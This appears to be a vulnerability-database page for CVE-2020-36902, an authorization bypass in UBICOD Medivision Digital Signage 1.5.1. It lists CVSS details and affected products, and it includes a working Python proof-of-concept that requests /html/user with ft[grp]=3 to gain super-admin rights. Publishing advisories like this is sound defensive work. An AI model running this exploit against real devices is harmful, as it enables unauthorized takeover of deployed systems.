Security Vulnerability Report
中文
CVE-2020-36902 CVSS 9.8 CRITICAL

CVE-2020-36902

Published: 2025-12-10 21:16:03
Last Modified: 2025-12-30 20:31:07

Description

UBICOD Medivision Digital Signage 1.5.1 contains an authorization bypass vulnerability that allows normal users to escalate privileges by manipulating the 'ft[grp]' parameter. Attackers can send a GET request to /html/user with 'ft[grp]' set to integer value '3' to gain super admin rights without authentication.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:medivision:medivision_digital_signage_firmware:1.5.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:medivision:medivision_digital_signage:-:*:*:*:*:*:*:* - NOT VULNERABLE
UBICOD Medivision Digital Signage <= 1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2020-36902 PoC - UBICOD Medivision Digital Signage Authorization Bypass # Target: UBICOD Medivision Digital Signage <= 1.5.1 # Vulnerability: Privilege escalation via ft[grp] parameter manipulation target_url = "http://target.com/html/user" # Normal user access with manipulated ft[grp] parameter set to 3 (super admin) payload = { "ft[grp]": "3" # Set to 3 for super admin privileges } print("[*] Attempting privilege escalation...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.get(target_url, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") # Check for signs of successful privilege escalation if response.status_code == 200: if "admin" in response.text.lower() or "super" in response.text.lower(): print("[+] SUCCESS: Privilege escalation detected!") print("[+] Super admin access may have been obtained") else: print("[*] Response received, check manually for admin access") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
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